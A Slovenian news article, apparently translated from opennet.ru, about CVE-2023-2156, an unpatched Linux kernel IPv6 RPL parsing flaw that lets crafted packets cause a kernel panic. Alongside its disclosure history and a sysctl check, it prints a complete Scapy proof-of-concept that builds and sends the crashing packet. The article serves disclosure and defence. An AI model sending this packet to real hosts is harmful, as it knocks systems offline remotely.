0-dnevna ranljivost sklada IPv6 za Linux, ki omogoča oddaljeno zrušitev jedra

Razkrite so bile informacije o nepopravljeni (0-dnevni) ranljivosti (CVE-2023-2156) v jedru Linuxa, ki omogoča zaustavitev sistema s pošiljanjem posebej oblikovanih paketov IPv6 (packet-of-death). Težava se pojavi šele, ko je omogočena podpora za protokol RPL (Routing Protocol for Low-Power and Lossy Networks), ki je v distribucijah privzeto onemogočen in se uporablja predvsem na vgrajenih napravah, ki delujejo v brezžičnih omrežjih z visoko izgubo paketov.

Ranljivost je posledica nepravilne obdelave zunanjih podatkov v kodi za razčlenjevanje protokola RPL, kar povzroči napako pri potrditvi in ​​jedro preide v stanje panike. Pri umestitvi podatkov, pridobljenih z razčlenjevanjem glave paketa IPv6 RPL, v strukturo k_buff (Socket Buffer), če je polje CmprI nastavljeno na 15, polje Segleft na 1 in CmprE na 0, je 48-bajtni vektor z naslovi dekompresiran na 528 bajtov in pojavi se situacija, ko pomnilnik, dodeljen medpomnilniku, ni dovolj. V tem primeru funkcija skb_push, ki se uporablja za potiskanje podatkov v strukturo, preveri nesorazmernost med velikostjo podatkov in vmesnim pomnilnikom ter ustvari panično stanje, da se prepreči pisanje preko meje medpomnilnika.

Primer izkoriščanja: # Scapy bomo uporabili za izdelavo paketa iz scapy.all import * import socket # Uporabite IPv6 iz vašega vmesnika LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Za pošiljanje paketa uporabljamo vtičnice sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Izdelajte paket # Tip = 3 naredi to RPL paket # Naslovi vsebujejo 3 naslove, a ker je CmprI 15, # je vsak oktet prvih dveh naslovov obravnava kot stisnjen naslov # Segleft = 1 za sprožitev ojačanja # lastentry = 0xf0 nastavi CmprI na 15 in CmprE na 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=[“a8: :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Pošlji ta zlobni paket sockfd.sendto(bytes(p), (DST_ADDR, 0))

Omeniti velja, da so bili razvijalci jedra o ranljivosti obveščeni že januarja 2022 in so v zadnjih 15 mesecih trikrat poskušali odpraviti težavo, pri čemer so popravke izdali septembra 2022, oktobra 2022 in aprila 2023, vendar so bili popravki vsakič ni dovolj in ranljivosti ni bilo mogoče reproducirati. Končno se je projekt ZDI, ki je usklajeval delo pri odpravljanju ranljivosti, odločil objaviti podrobne informacije o ranljivosti, ne da bi čakal, da bo delujoč popravek na voljo v jedru.

Tako ranljivost še vedno ostaja nepopravljena. Zlasti popravek, vključen v jedro 6.4-rc2, je neučinkovit. Uporabnikom svetujemo, da preverijo, ali se v njihovih sistemih ne uporablja protokol RPL, kar lahko storijo z ukazom sysctl -a | grep -i rpl_seg_omogočeno

Vir: opennet.ru

Dodaj komentar